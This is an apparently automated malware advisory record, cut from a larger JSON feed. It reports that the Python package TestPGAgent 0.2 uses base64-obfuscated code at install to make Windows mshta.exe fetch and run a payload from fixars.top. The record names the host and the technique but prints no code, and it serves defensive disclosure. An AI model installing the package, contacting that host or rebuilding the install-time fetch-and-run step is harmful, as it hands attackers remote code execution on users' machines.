This launches Windows `mshta.exe` against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running `pip install TestPGAgent==0.2` will execute remote code chosen by whoever controls fixars.top at the moment of install.\n\n## Source: kam193 (b2ef252322091e2df68ab6476eb3c3946a39f8d1239e7cdf968fdd4f2c2bfea7)\nDuring installation, the code attempts to download and start a malicious executable.\n\nLikely related to 2025-08-raknet-testing-package.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-06-easyaillm\n\n\nReasons (based on the campaign):\n\n\n - Downloads and executes a remote executable.\n\n\n - obfuscation\n\n\n - malware\n\n\n - tool:mshta\n\n\n## Affected packages\n\n- `testpgagent`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":3,"depthScoreParts":{"impact":2.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}
